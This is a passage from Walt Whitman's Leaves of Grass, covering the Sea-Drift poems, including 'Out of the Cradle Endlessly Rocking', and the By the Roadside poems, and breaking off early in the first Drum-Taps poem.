greater supremacy, +I chant projected a thousand blooming cities yet in time on those + groups of sea-islands, +My sail-ships and steam-ships threading the archipelagoes, +My stars and stripes fluttering in the wind, +Commerce opening, the sleep of ages having done its work, races + reborn, refresh'd, +Lives, works resumed--the object I know not--but the old, the Asiatic + renew'd as it must be, +Commencing from this day surrounded by the world. + + 3 +And you Libertad of the world! +You shall sit in the middle well-pois'd thousands and thousands of years, +As to-day from one side the nobles of Asia come to you, +As to-morrow from the other side the queen of England sends her + eldest son to you. + +The sign is reversing, the orb is enclosed, +The ring is circled, the journey is done, +The box-lid is but perceptibly open'd, nevertheless the perfume + pours copiously out of the whole box. + +Young Libertad! with the venerable Asia, the all-mother, +Be considerate with her now and ever hot Libertad, for you are all, +Bend your proud neck to the long-off mother now sending messages + over the archipelagoes to you, +Bend your proud neck low for once, young Libertad. + +Here the children straying westward so long? so wide the tramping? +Were the precedent dim ages debouching westward from Paradise so long? +Were the centuries steadily footing it that way, all the while + unknown, for you, for reasons? + +They are justified, they are accomplish'd, they shall now be turn'd + the other way also, to travel toward you thence, +They shall now also march obediently eastward for your sake Libertad. + + + +[BOOK XIX. SEA-DRIFT] + +} Out of the Cradle Endlessly Rocking + +Out of the cradle endlessly rocking, +Out of the mocking-bird's throat, the musical shuttle, +Out of the Ninth-month midnight, +Over the sterile sands and the fields beyond, where the child + leaving his bed wander'd alone, bareheaded, barefoot, +Down from the shower'd halo, +Up from the mystic play of shadows twining and twisting as if they + were alive, +Out from the patches of briers and blackberries, +From the memories of the bird that chanted to me, +From your memories sad brother, from the fitful risings and fallings I heard, +From under that yellow half-moon late-risen and swollen as if with tears, +From those beginning notes of yearning and love there in the mist, +From the thousand responses of my heart never to cease, +From the myriad thence-arous'd words, +From the word stronger and more delicious than any, +From such as now they start the scene revisiting, +As a flock, twittering, rising, or overhead passing, +Borne hither, ere all eludes me, hurriedly, +A man, yet by these tears a little boy again, +Throwing myself on the sand, confronting the waves, +I, chanter of pains and joys, uniter of here and hereafter, +Taking all hints to use them, but swiftly leaping beyond them, +A reminiscence sing. + +Once Paumanok, +When the lilac-scent was in the air and Fifth-month grass was growing, +Up this seashore in some briers, +Two feather'd guests from Alabama, two together, +And their nest, and four light-green eggs spotted with brown, +And every day the he-bird to and fro near at hand, +And every day the she-bird crouch'd on her nest, silent, with bright eyes, +And every day I, a curious boy, never too close, never disturbing +them, +Cautiously peering, absorbing, translating. + +Shine! shine! shine! +Pour down your warmth, great sun.' +While we bask, we two together. + +Two together! +Winds blow south, or winds blow north, +Day come white, or night come black, +Home, or rivers and mountains from home, +Singing all time, minding no time, +While we two keep together. + +Till of a sudden, +May-be kill'd, unknown to her mate, +One forenoon the she-bird crouch'd not on the nest, +Nor return'd that afternoon, nor the next, +Nor ever appear'd again. + +And thenceforward all summer in the sound of the sea, +And at night under the full of the moon in calmer weather, +Over the hoarse surging of the sea, +Or flitting from brier to brier by day, +I saw, I heard at intervals the remaining one, the he-bird, +The solitary guest from Alabama. + +Blow! blow! blow! +Blow up sea-winds along Paumanok's shore; +I wait and I wait till you blow my mate to me. + +Yes, when the stars glisten'd, +All night long on the prong of a moss-scallop'd stake, +Down almost amid the slapping waves, +Sat the lone singer wonderful causing tears. + +He call'd on his mate, +He pour'd forth the meanings which I of all men know. + +Yes my brother I know, +The rest might not, but I have treasur'd every note, +For more than once dimly down to the beach gliding, +Silent, avoiding the moonbeams, blending myself with the shadows, +Recalling now the obscure shapes, the echoes, the sounds and sights + after their sorts, +The white arms out in the breakers tirelessly tossing, +I, with bare feet, a child, the wind wafting my hair, +Listen'd long and long. + +Listen'd to keep, to sing, now translating the notes, +Following you my brother. + +Soothe! soothe! soothe! +Close on its wave soothes the wave behind, +And again another behind embracing and lapping, every one close, +But my love soothes not me, not me. + +Low hangs the moon, it rose late, +It is lagging--O I think it is heavy with love, with love. + +O madly the sea pushes upon the land, +With love, with love. + +O night! do I not see my love fluttering out among the breakers? +What is that little black thing I see there in the white? + +Loud! loud! loud! +Loud I call to you, my love! +High and clear I shoot my voice over the waves, +Surely you must know who is here, is here, +You must know who I am, my love. + +Low-hanging moon! +What is that dusky spot in your brown yellow? +O it is the shape, the shape of my mate.' +O moon do not keep her from me any longer. + +Land! land! O land! +Whichever way I turn, O I think you could give me my mate back again + if you only would, +For I am almost sure I see her dimly whichever way I look. + +O rising stars! +Perhaps the one I want so much will rise, will rise with some of you. + +O throat! O trembling throat! +Sound clearer through the atmosphere! +Pierce the woods, the earth, +Somewhere listening to catch you must be the one I want. + +Shake out carols! +Solitary here, the night's carols! +Carols of lonesome love! death's carols! +Carols under that lagging, yellow, waning moon! +O under that moon where she droops almost down into the sea! +O reckless despairing carols. + +But soft! sink low! +Soft! let me just murmur, +And do you wait a moment you husky-nois'd sea, +For somewhere I believe I heard my mate responding to me, +So faint, I must be still, be still to listen, +But not altogether still, for then she might not come immediately to me. + +Hither my love! +Here I am! here! +With this just-sustain'd note I announce myself to you, +This gentle call is for you my love, for you. + +Do not be decoy'd elsewhere, +That is the whistle of the wind, it is not my voice, +That is the fluttering, the fluttering of the spray, +Those are the shadows of leaves. + +O darkness! O in vain! +O I am very sick and sorrowful + +O brown halo in the sky near the moon, drooping upon the sea! +O troubled reflection in the sea! +O throat! O throbbing heart! +And I singing uselessly, uselessly all the night. + +O past! O happy life! O songs of joy! +In the air, in the woods, over fields, +Loved! loved! loved! loved! loved! +But my mate no more, no more with me! +We two together no more. + +The aria sinking, +All else continuing, the stars shining, +The winds blowing, the notes of the bird continuous echoing, +With angry moans the fierce old mother incessantly moaning, +On the sands of Paumanok's shore gray and rustling, +The yellow half-moon enlarged, sagging down, drooping, the face of + the sea almost touching, +The boy ecstatic, with his bare feet the waves, with his hair the + atmosphere dallying, +The love in the heart long pent, now loose, now at last tumultuously + bursting, +The aria's meaning, the ears, the soul, swiftly depositing, +The strange tears down the cheeks coursing, +The colloquy there, the trio, each uttering, +The undertone, the savage old mother incessantly crying, +To the boy's soul's questions sullenly timing, some drown'd secret hissing, +To the outsetting bard. + +Demon or bird! (said the boy's soul,) +Is it indeed toward your mate you sing? or is it really to me? +For I, that was a child, my tongue's use sleeping, now I have heard you, +Now in a moment I know what I am for, I awake, +And already a thousand singers, a thousand songs, clearer, louder + and more sorrowful than yours, +A thousand warbling echoes have started to life within me, never to die. + +O you singer solitary, singing by yourself, projecting me, +O solitary me listening, never more shall I cease perpetuating you, +Never more shall I escape, never more the reverberations, +Never more the cries of unsatisfied love be absent from me, +Never again leave me to be the peaceful child I was before what + there in the night, +By the sea under the yellow and sagging moon, +The messenger there arous'd, the fire, the sweet hell within, +The unknown want, the destiny of me. + +O give me the clue! (it lurks in the night here somewhere,) +O if I am to have so much, let me have more! + +A word then, (for I will conquer it,) +The word final, superior to all, +Subtle, sent up--what is it?--I listen; +Are you whispering it, and have been all the time, you sea-waves? +Is that it from your liquid rims and wet sands? + +Whereto answering, the sea, +Delaying not, hurrying not, +Whisper'd me through the night, and very plainly before daybreak, +Lisp'd to me the low and delicious word death, +And again death, death, death, death +Hissing melodious, neither like the bird nor like my arous'd child's heart, +But edging near as privately for me rustling at my feet, +Creeping thence steadily up to my ears and laving me softly all over, +Death, death, death, death, death. + +Which I do not forget. +But fuse the song of my dusky demon and brother, +That he sang to me in the moonlight on Paumanok's gray beach, +With the thousand responsive songs at random, +My own songs awaked from that hour, +And with them the key, the word up from the waves, +The word of the sweetest song and all songs, +That strong and delicious word which, creeping to my feet, +(Or like some old crone rocking the cradle, swathed in sweet + garments, bending aside,) +The sea whisper'd me. + + + +} As I Ebb'd with the Ocean of Life + + 1 +As I ebb'd with the ocean of life, +As I wended the shores I know, +As I walk'd where the ripples continually wash you Paumanok, +Where they rustle up hoarse and sibilant, +Where the fierce old mother endlessly cries for her castaways, +I musing late in the autumn day, gazing off southward, +Held by this electric self out of the pride of which I utter poems, +Was seiz'd by the spirit that trails in the lines underfoot, +The rim, the sediment that stands for all the water and all the land + of the globe. + +Fascinated, my eyes reverting from the south, dropt, to follow those + slender windrows, +Chaff, straw, splinters of wood, weeds, and the sea-gluten, +Scum, scales from shining rocks, leaves of salt-lettuce, left by the tide, +Miles walking, the sound of breaking waves the other side of me, +Paumanok there and then as I thought the old thought of likenesses, +These you presented to me you fish-shaped island, +As I wended the shores I know, +As I walk'd with that electric self seeking types. + + 2 +As I wend to the shores I know not, +As I list to the dirge, the voices of men and women wreck'd, +As I inhale the impalpable breezes that set in upon me, +As the ocean so mysterious rolls toward me closer and closer, +I too but signify at the utmost a little wash'd-up drift, +A few sands and dead leaves to gather, +Gather, and merge myself as part of the sands and drift. + +O baffled, balk'd, bent to the very earth, +Oppress'd with myself that I have dared to open my mouth, +Aware now that amid all that blab whose echoes recoil upon me I have + not once had the least idea who or what I am, +But that before all my arrogant poems the real Me stands yet + untouch'd, untold, altogether unreach'd, +Withdrawn far, mocking me with mock-congratulatory signs and bows, +With peals of distant ironical laughter at every word I have written, +Pointing in silence to these songs, and then to the sand beneath. + +I perceive I have not really understood any thing, not a single + object, and that no man ever can, +Nature here in sight of the sea taking advantage of me to dart upon + me and sting me, +Because I have dared to open my mouth to sing at all. + + 3 +You oceans both, I close with you, +We murmur alike reproachfully rolling sands and drift, knowing not why, +These little shreds indeed standing for you and me and all. + +You friable shore with trails of debris, +You fish-shaped island, I take what is underfoot, +What is yours is mine my father. + +I too Paumanok, +I too have bubbled up, floated the measureless float, and been + wash'd on your shores, +I too am but a trail of drift and debris, +I too leave little wrecks upon you, you fish-shaped island. + +I throw myself upon your breast my father, +I cling to you so that you cannot unloose me, +I hold you so firm till you answer me something. + +Kiss me my father, +Touch me with your lips as I touch those I love, +Breathe to me while I hold you close the secret of the murmuring I envy. + + 4 +Ebb, ocean of life, (the flow will return,) +Cease not your moaning you fierce old mother, +Endlessly cry for your castaways, but fear not, deny not me, +Rustle not up so hoarse and angry against my feet as I touch you or + gather from you. + +I mean tenderly by you and all, +I gather for myself and for this phantom looking down where we lead, + and following me and mine. + +Me and mine, loose windrows, little corpses, +Froth, snowy white, and bubbles, +(See, from my dead lips the ooze exuding at last, +See, the prismatic colors glistening and rolling,) +Tufts of straw, sands, fragments, +Buoy'd hither from many moods, one contradicting another, +From the storm, the long calm, the darkness, the swell, +Musing, pondering, a breath, a briny tear, a dab of liquid or soil, +Up just as much out of fathomless workings fermented and thrown, +A limp blossom or two, torn, just as much over waves floating, + drifted at random, +Just as much for us that sobbing dirge of Nature, +Just as much whence we come that blare of the cloud-trumpets, +We, capricious, brought hither we know not whence, spread out before you, +You up there walking or sitting, +Whoever you are, we too lie in drifts at your feet. + + + +} Tears + +Tears! tears! tears! +In the night, in solitude, tears, +On the white shore dripping, dripping, suck'd in by the sand, +Tears, not a star shining, all dark and desolate, +Moist tears from the eyes of a muffled head; +O who is that ghost? that form in the dark, with tears? +What shapeless lump is that, bent, crouch'd there on the sand? +Streaming tears, sobbing tears, throes, choked with wild cries; +O storm, embodied, rising, careering with swift steps along the beach! +O wild and dismal night storm, with wind--O belching and desperate! +O shade so sedate and decorous by day, with calm countenance and + regulated pace, +But away at night as you fly, none looking--O then the unloosen'd ocean, +Of tears! tears! tears! + + + +} To the Man-of-War-Bird + +Thou who hast slept all night upon the storm, +Waking renew'd on thy prodigious pinions, +(Burst the wild storm? above it thou ascended'st, +And rested on the sky, thy slave that cradled thee,) +Now a blue point, far, far in heaven floating, +As to the light emerging here on deck I watch thee, +(Myself a speck, a point on the world's floating vast.) + +Far, far at sea, +After the night's fierce drifts have strewn the shore with wrecks, +With re-appearing day as now so happy and serene, +The rosy and elastic dawn, the flashing sun, +The limpid spread of air cerulean, +Thou also re-appearest. + +Thou born to match the gale, (thou art all wings,) +To cope with heaven and earth and sea and hurricane, +Thou ship of air that never furl'st thy sails, +Days, even weeks untired and onward, through spaces, realms gyrating, +At dusk that lookist on Senegal, at morn America, +That sport'st amid the lightning-flash and thunder-cloud, +In them, in thy experiences, had'st thou my soul, +What joys! what joys were thine! + + + +} Aboard at a Ship's Helm + +Aboard at a ship's helm, +A young steersman steering with care. + +Through fog on a sea-coast dolefully ringing, +An ocean-bell--O a warning bell, rock'd by the waves. + +O you give good notice indeed, you bell by the sea-reefs ringing, +Ringing, ringing, to warn the ship from its wreck-place. + +For as on the alert O steersman, you mind the loud admonition, +The bows turn, the freighted ship tacking speeds away under her gray sails, +The beautiful and noble ship with all her precious wealth speeds + away gayly and safe. + +But O the ship, the immortal ship! O ship aboard the ship! +Ship of the body, ship of the soul, voyaging, voyaging, voyaging. + + + +} On the Beach at Night + +On the beach at night, +Stands a child with her father, +Watching the east, the autumn sky. + +Up through the darkness, +While ravening clouds, the burial clouds, in black masses spreading, +Lower sullen and fast athwart and down the sky, +Amid a transparent clear belt of ether yet left in the east, +Ascends large and calm the lord-star Jupiter, +And nigh at hand, only a very little above, +Swim the delicate sisters the Pleiades. + +From the beach the child holding the hand of her father, +Those burial-clouds that lower victorious soon to devour all, +Watching, silently weeps. + +Weep not, child, +Weep not, my darling, +With these kisses let me remove your tears, +The ravening clouds shall not long be victorious, +They shall not long possess the sky, they devour the stars only in + apparition, +Jupiter shall emerge, be patient, watch again another night, the + Pleiades shall emerge, +They are immortal, all those stars both silvery and golden shall + shine out again, +The great stars and the little ones shall shine out again, they endure, +The vast immortal suns and the long-enduring pensive moons shall + again shine. + +Then dearest child mournest thou only for jupiter? +Considerest thou alone the burial of the stars? + +Something there is, +(With my lips soothing thee, adding I whisper, +I give thee the first suggestion, the problem and indirection,) +Something there is more immortal even than the stars, +(Many the burials, many the days and nights, passing away,) +Something that shall endure longer even than lustrous Jupiter +Longer than sun or any revolving satellite, +Or the radiant sisters the Pleiades. + + + +} The World below the Brine + +The world below the brine, +Forests at the bottom of the sea, the branches and leaves, +Sea-lettuce, vast lichens, strange flowers and seeds, the thick + tangle openings, and pink turf, +Different colors, pale gray and green, purple, white, and gold, the + play of light through the water, +Dumb swimmers there among the rocks, coral, gluten, grass, rushes, + and the aliment of the swimmers, +Sluggish existences grazing there suspended, or slowly crawling + close to the bottom, +The sperm-whale at the surface blowing air and spray, or disporting + with his flukes, +The leaden-eyed shark, the walrus, the turtle, the hairy + sea-leopard, and the sting-ray, +Passions there, wars, pursuits, tribes, sight in those ocean-depths, + breathing that thick-breathing air, as so many do, +The change thence to the sight here, and to the subtle air breathed + by beings like us who walk this sphere, +The change onward from ours to that of beings who walk other spheres. + + + +} On the Beach at Night Alone + +On the beach at night alone, +As the old mother sways her to and fro singing her husky song, +As I watch the bright stars shining, I think a thought of the clef + of the universes and of the future. + +A vast similitude interlocks all, +All spheres, grown, ungrown, small, large, suns, moons, planets, +All distances of place however wide, +All distances of time, all inanimate forms, +All souls, all living bodies though they be ever so different, or in + different worlds, +All gaseous, watery, vegetable, mineral processes, the fishes, the brutes, +All nations, colors, barbarisms, civilizations, languages, +All identities that have existed or may exist on this globe, or any globe, +All lives and deaths, all of the past, present, future, +This vast similitude spans them, and always has spann'd, +And shall forever span them and compactly hold and enclose them. + + + +} Song for All Seas, All Ships + + 1 +To-day a rude brief recitative, +Of ships sailing the seas, each with its special flag or ship-signal, +Of unnamed heroes in the ships--of waves spreading and spreading + far as the eye can reach, +Of dashing spray, and the winds piping and blowing, +And out of these a chant for the sailors of all nations, +Fitful, like a surge. + +Of sea-captains young or old, and the mates, and of all intrepid sailors, +Of the few, very choice, taciturn, whom fate can never surprise nor + death dismay. +Pick'd sparingly without noise by thee old ocean, chosen by thee, +Thou sea that pickest and cullest the race in time, and unitest nations, +Suckled by thee, old husky nurse, embodying thee, +Indomitable, untamed as thee. + +(Ever the heroes on water or on land, by ones or twos appearing, +Ever the stock preserv'd and never lost, though rare, enough for + seed preserv'd.) + + 2 +Flaunt out O sea your separate flags of nations! +Flaunt out visible as ever the various ship-signals! +But do you reserve especially for yourself and for the soul of man + one flag above all the rest, +A spiritual woven signal for all nations, emblem of man elate above death, +Token of all brave captains and all intrepid sailors and mates, +And all that went down doing their duty, +Reminiscent of them, twined from all intrepid captains young or old, +A pennant universal, subtly waving all time, o'er all brave sailors, +All seas, all ships. + + + +} Patroling Barnegat + +Wild, wild the storm, and the sea high running, +Steady the roar of the gale, with incessant undertone muttering, +Shouts of demoniac laughter fitfully piercing and pealing, +Waves, air, midnight, their savagest trinity lashing, +Out in the shadows there milk-white combs careering, +On beachy slush and sand spirts of snow fierce slanting, +Where through the murk the easterly death-wind breasting, +Through cutting swirl and spray watchful and firm advancing, +(That in the distance! is that a wreck? is the red signal flaring?) +Slush and sand of the beach tireless till daylight wending, +Steadily, slowly, through hoarse roar never remitting, +Along the midnight edge by those milk-white combs careering, +A group of dim, weird forms, struggling, the night confronting, +That savage trinity warily watching. + + + +} After the Sea-Ship + +After the sea-ship, after the whistling winds, +After the white-gray sails taut to their spars and ropes, +Below, a myriad myriad waves hastening, lifting up their necks, +Tending in ceaseless flow toward the track of the ship, +Waves of the ocean bubbling and gurgling, blithely prying, +Waves, undulating waves, liquid, uneven, emulous waves, +Toward that whirling current, laughing and buoyant, with curves, +Where the great vessel sailing and tacking displaced the surface, +Larger and smaller waves in the spread of the ocean yearnfully flowing, +The wake of the sea-ship after she passes, flashing and frolicsome + under the sun, +A motley procession with many a fleck of foam and many fragments, +Following the stately and rapid ship, in the wake following. + + + +[BOOK XX. BY THE ROADSIDE] + +} A Boston Ballad [1854] + +To get betimes in Boston town I rose this morning early, +Here's a good place at the corner, I must stand and see the show. + +Clear the way there Jonathan! +Way for the President's marshal--way for the government cannon! +Way for the Federal foot and dragoons, (and the apparitions + copiously tumbling.) + +I love to look on the Stars and Stripes, I hope the fifes will play + Yankee Doodle. +How bright shine the cutlasses of the foremost troops! +Every man holds his revolver, marching stiff through Boston town. + +A fog follows, antiques of the same come limping, +Some appear wooden-legged, and some appear bandaged and bloodless. + +Why this is indeed a show--it has called the dead out of the earth! +The old graveyards of the hills have hurried to see! +Phantoms! phantoms countless by flank and rear! +Cock'd hats of mothy mould--crutches made of mist! +Arms in slings--old men leaning on young men's shoulders. + +What troubles you Yankee phantoms? what is all this chattering of + bare gums? +Does the ague convulse your limbs? do you mistake your crutches for + firelocks and level them? + +If you blind your eyes with tears you will not see the President's marshal, +If you groan such groans you might balk the government cannon. + +For shame old maniacs--bring down those toss'd arms, and let your + white hair be, +Here gape your great grandsons, their wives gaze at them from the windows, +See how well dress'd, see how orderly they conduct themselves. + +Worse and worse--can't you stand it? are you retreating? +Is this hour with the living too dead for you? + +Retreat then--pell-mell! +To your graves--back--back to the hills old limpers! +I do not think you belong here anyhow. + +But there is one thing that belongs here--shall I tell you what it + is, gentlemen of Boston? + +I will whisper it to the Mayor, he shall send a committee to England, +They shall get a grant from the Parliament, go with a cart to the + royal vault, +Dig out King George's coffin, unwrap him quick from the + graveclothes, box up his bones for a journey, +Find a swift Yankee clipper--here is freight for you, black-bellied clipper, +Up with your anchor--shake out your sails--steer straight toward + Boston bay. + +Now call for the President's marshal again, bring out the government cannon, +Fetch home the roarers from Congress, make another procession, + guard it with foot and dragoons. + +This centre-piece for them; +Look, all orderly citizens--look from the windows, women! + +The committee open the box, set up the regal ribs, glue those that + will not stay, +Clap the skull on top of the ribs, and clap a crown on top of the skull. +You have got your revenge, old buster--the crown is come to its own, + and more than its own. + +Stick your hands in your pockets, Jonathan--you are a made man from + this day, +You are mighty cute--and here is one of your bargains. + + + +} Europe [The 72d and 73d Years of These States] + +Suddenly out of its stale and drowsy lair, the lair of slaves, +Like lightning it le'pt forth half startled at itself, +Its feet upon the ashes and the rags, its hands tight to the throats + of kings. + +O hope and faith! +O aching close of exiled patriots' lives! +O many a sicken'd heart! +Turn back unto this day and make yourselves afresh. + +And you, paid to defile the People--you liars, mark! +Not for numberless agonies, murders, lusts, +For court thieving in its manifold mean forms, worming from his + simplicity the poor man's wages, +For many a promise sworn by royal lips and broken and laugh'd at in + the breaking, + +Then in their power not for all these did the blows strike revenge, + or the heads of the nobles fall; +The People scorn'd the ferocity of kings. + +But the sweetness of mercy brew'd bitter destruction, and the + frighten'd monarchs come back, +Each comes in state with his train, hangman, priest, tax-gatherer, +Soldier, lawyer, lord, jailer, and sycophant. + +Yet behind all lowering stealing, lo, a shape, +Vague as the night, draped interminably, head, front and form, in + scarlet folds, +Whose face and eyes none may see, +Out of its robes only this, the red robes lifted by the arm, +One finger crook'd pointed high over the top, like the head of a + snake appears. + +Meanwhile corpses lie in new-made graves, bloody corpses of young men, +The rope of the gibbet hangs heavily, the bullets of princes are + flying, the creatures of power laugh aloud, +And all these things bear fruits, and they are good. + +Those corpses of young men, +Those martyrs that hang from the gibbets, those hearts pierc'd by + the gray lead, +Cold and motionless as they seem live elsewhere with unslaughter'd vitality. + +They live in other young men O kings! +They live in brothers again ready to defy you, +They were purified by death, they were taught and exalted. + +Not a grave of the murder'd for freedom but grows seed for freedom, + in its turn to bear seed, +Which the winds carry afar and re-sow, and the rains and the snows nourish. + +Not a disembodied spirit can the weapons of tyrants let loose, +But it stalks invisibly over the earth, whispering, counseling, cautioning. +Liberty, let others despair of you--I never despair of you. + +Is the house shut? is the master away? +Nevertheless, be ready, be not weary of watching, +He will soon return, his messengers come anon. + + + +} A Hand-Mirror + +Hold it up sternly--see this it sends back, (who is it? is it you?) +Outside fair costume, within ashes and filth, +No more a flashing eye, no more a sonorous voice or springy step, +Now some slave's eye, voice, hands, step, +A drunkard's breath, unwholesome eater's face, venerealee's flesh, +Lungs rotting away piecemeal, stomach sour and cankerous, +Joints rheumatic, bowels clogged with abomination, +Blood circulating dark and poisonous streams, +Words babble, hearing and touch callous, +No brain, no heart left, no magnetism of sex; +Such from one look in this looking-glass ere you go hence, +Such a result so soon--and from such a beginning! + + + +} Gods + +Lover divine and perfect Comrade, +Waiting content, invisible yet, but certain, +Be thou my God. + +Thou, thou, the Ideal Man, +Fair, able, beautiful, content, and loving, +Complete in body and dilate in spirit, +Be thou my God. + +O Death, (for Life has served its turn,) +Opener and usher to the heavenly mansion, +Be thou my God. + +Aught, aught of mightiest, best I see, conceive, or know, +(To break the stagnant tie--thee, thee to free, O soul,) +Be thou my God. + +All great ideas, the races' aspirations, +All heroisms, deeds of rapt enthusiasts, +Be ye my Gods. + +Or Time and Space, +Or shape of Earth divine and wondrous, +Or some fair shape I viewing, worship, +Or lustrous orb of sun or star by night, +Be ye my Gods. + + + +} Germs + +Forms, qualities, lives, humanity, language, thoughts, +The ones known, and the ones unknown, the ones on the stars, +The stars themselves, some shaped, others unshaped, +Wonders as of those countries, the soil, trees, cities, inhabitants, + whatever they may be, +Splendid suns, the moons and rings, the countless combinations and effects, +Such-like, and as good as such-like, visible here or anywhere, stand + provided for a handful of space, which I extend my arm and + half enclose with my hand, +That containing the start of each and all, the virtue, the germs of all. + + + +} Thoughts + +Of ownership--as if one fit to own things could not at pleasure enter + upon all, and incorporate them into himself or herself; +Of vista--suppose some sight in arriere through the formative chaos, + presuming the growth, fulness, life, now attain'd on the journey, +(But I see the road continued, and the journey ever continued;) +Of what was once lacking on earth, and in due time has become + supplied--and of what will yet be supplied, +Because all I see and know I believe to have its main purport in + what will yet be supplied. + + +} When I Heard the Learn'd Astronomer + +When I heard the learn'd astronomer, +When the proofs, the figures, were ranged in columns before me, +When I was shown the charts and diagrams, to add, divide, and measure them, +When I sitting heard the astronomer where he lectured with much + applause in the lecture-room, +How soon unaccountable I became tired and sick, +Till rising and gliding out I wander'd off by myself, +In the mystical moist night-air, and from time to time, +Look'd up in perfect silence at the stars. + + + +} Perfections + +Only themselves understand themselves and the like of themselves, +As souls only understand souls. + + + +} O Me! O Life! + +O me! O life! of the questions of these recurring, +Of the endless trains of the faithless, of cities fill'd with the foolish, +Of myself forever reproaching myself, (for who more foolish than I, + and who more faithless?) +Of eyes that vainly crave the light, of the objects mean, of the + struggle ever renew'd, +Of the poor results of all, of the plodding and sordid crowds I see + around me, +Of the empty and useless years of the rest, with the rest me intertwined, +The question, O me! so sad, recurring--What good amid these, O me, O life? + + Answer. +That you are here--that life exists and identity, +That the powerful play goes on, and you may contribute a verse. + + + +} To a President + +All you are doing and saying is to America dangled mirages, +You have not learn'd of Nature--of the politics of Nature you have + not learn'd the great amplitude, rectitude, impartiality, +You have not seen that only such as they are for these States, +And that what is less than they must sooner or later lift off from + these States. + + + +} I Sit and Look Out + +I sit and look out upon all the sorrows of the world, and upon all + oppression and shame, +I hear secret convulsive sobs from young men at anguish with + themselves, remorseful after deeds done, +I see in low life the mother misused by her children, dying, + neglected, gaunt, desperate, +I see the wife misused by her husband, I see the treacherous seducer + of young women, +I mark the ranklings of jealousy and unrequited love attempted to be + hid, I see these sights on the earth, +I see the workings of battle, pestilence, tyranny, I see martyrs and + prisoners, +I observe a famine at sea, I observe the sailors casting lots who + shall be kill'd to preserve the lives of the rest, +I observe the slights and degradations cast by arrogant persons upon + laborers, the poor, and upon negroes, and the like; +All these--all the meanness and agony without end I sitting look out upon, +See, hear, and am silent. + + + +} To Rich Givers + +What you give me I cheerfully accept, +A little sustenance, a hut and garden, a little money, as I + rendezvous with my poems, +A traveler's lodging and breakfast as journey through the States,-- + why should I be ashamed to own such gifts? why to advertise for them? +For I myself am not one who bestows nothing upon man and woman, +For I bestow upon any man or woman the entrance to all the gifts of + the universe. + + + +} The Dalliance of the Eagles + +Skirting the river road, (my forenoon walk, my rest,) +Skyward in air a sudden muffled sound, the dalliance of the eagles, +The rushing amorous contact high in space together, +The clinching interlocking claws, a living, fierce, gyrating wheel, +Four beating wings, two beaks, a swirling mass tight grappling, +In tumbling turning clustering loops, straight downward falling, +Till o'er the river pois'd, the twain yet one, a moment's lull, +A motionless still balance in the air, then parting, talons loosing, +Upward again on slow-firm pinions slanting, their separate diverse flight, +She hers, he his, pursuing. + + + +} Roaming in Thought [After reading Hegel] + +Roaming in thought over the Universe, I saw the little that is Good + steadily hastening towards immortality, +And the vast all that is call'd Evil I saw hastening to merge itself + and become lost and dead. + + + +} A Farm Picture + +Through the ample open door of the peaceful country barn, +A sunlit pasture field with cattle and horses feeding, +And haze and vista, and the far horizon fading away. + + + +} A Child's Amaze + +Silent and amazed even when a little boy, +I remember I heard the preacher every Sunday put God in his statements, +As contending against some being or influence. + + + +} The Runner + +On a flat road runs the well-train'd runner, +He is lean and sinewy with muscular legs, +He is thinly clothed, he leans forward as he runs, +With lightly closed fists and arms partially rais'd. + + + +} Beautiful Women + +Women sit or move to and fro, some old, some young, +The young are beautiful--but the old are more beautiful than the young. + + + +} Mother and Babe + +I see the sleeping babe nestling the breast of its mother, +The sleeping mother and babe--hush'd, I study them long and long. + + + +} Thought + +Of obedience, faith, adhesiveness; +As I stand aloof and look there is to me something profoundly + affecting in large masses of men following the lead of those who + do not believe in men. + + + +} Visor'd + +A mask, a perpetual natural disguiser of herself, +Concealing her face, concealing her form, +Changes and transformations every hour, every moment, +Falling upon her even when she sleeps. + + + +} Thought + +Of justice--as If could be any thing but the same ample law, + expounded by natural judges and saviors, +As if it might be this thing or that thing, according to decisions. + + + +} Gliding O'er all + +Gliding o'er all, through all, +Through Nature, Time, and Space, +As a ship on the waters advancing, +The voyage of the soul--not life alone, +Death, many deaths I'll sing. + + + +} Hast Never Come to Thee an Hour + +Hast never come to thee an hour, +A sudden gleam divine, precipitating, bursting all these bubbles, + fashions, wealth? +These eager business aims--books, politics, art, amours, +To utter nothingness? + + + +} Thought + +Of Equality--as if it harm'd me, giving others the same chances and + rights as myself--as if it were not indispensable to my own + rights that others possess the same. + + + +} To Old Age + +I see in you the estuary that enlarges and spreads itself grandly as + it pours in the great sea. + + + +} Locations and Times + +Locations and times--what is it in me that meets them all, whenever + and wherever, and makes me at home? +Forms, colors, densities, odors--what is it in me that corresponds + with them? + + + +} Offerings + +A thousand perfect men and women appear, +Around each gathers a cluster of friends, and gay children and + youths, with offerings. + + + +} To The States [To Identify the 16th, 17th, or 18th Presidentiad] + +Why reclining, interrogating? why myself and all drowsing? +What deepening twilight-scum floating atop of the waters, +Who are they as bats and night-dogs askant in the capitol? +What a filthy Presidentiad! (O South, your torrid suns! O North, + your arctic freezings!) +Are those really Congressmen? are those the great Judges? is that + the President? +Then I will sleep awhile yet, for I see that these States sleep, for + reasons; +(With gathering murk, with muttering thunder and lambent shoots we + all duly awake, +South, North, East, West, inland and seaboard, we will surely awake.) + + + +[BOOK XXI. DRUM-TAPS] + +} First O Songs for a Prelude + +First O songs for a prelude, +Lightly strike on the stretch'd tympanum pride and joy in my city, +How she led the rest to arms, how she gave the cue, +How at once with lithe limbs unwaiting a moment she sprang, +(O superb! O Manhattan, my own, my peerless! +O strongest you in the hour of danger, in crisis! O truer than steel!) +How you sprang--how you threw off the costumes of peace with + indifferent hand, +How your soft opera-music changed, and the drum and fife were heard + in their stead, +How you led to the war, (that shall serve for our prelude, songs of + soldiers,) +How Manhattan drum-taps led. + +Forty years had I in my city seen soldiers parading, +Forty years as a pageant, till unawares the lady of this teeming and + turbulent city, +Sleepless amid her ships, her houses, her incalculable wealth, +With her million children around her, suddenly, +At dead of night, at news from the south, +Incens'd struck with clinch'd hand the pavement. + +A shock electric, the night sustain'd it, +Till with ominous hum our hive at daybreak pour'd out its myriads. + +From the houses then and the workshops, and through all the doorways, +Leapt they tumultuous, and lo! Manhattan arming. + +To the drum-taps prompt, +The young men falling in and arming, +The mechanics arming, (the trowel, the jack-plane, the blacksmith's + hammer, tost aside with precipitation,) +The lawyer leaving his office and arming, the judge leaving the court, +The driver deserting his wagon in the street, jumping down, throwing + the reins abruptly down on the horses' backs, +The salesman leaving the store, the boss, book-keeper, porter, all leaving; +Squads gather everywhere by common consent and arm, +The new recruits, even boys, the old men show them how to wear their + accoutrements, they buckle the straps carefully, +Outdoors arming, indoors arming, the flash of the musket-barrels, +The white tents cluster in camps, the arm'd sentries 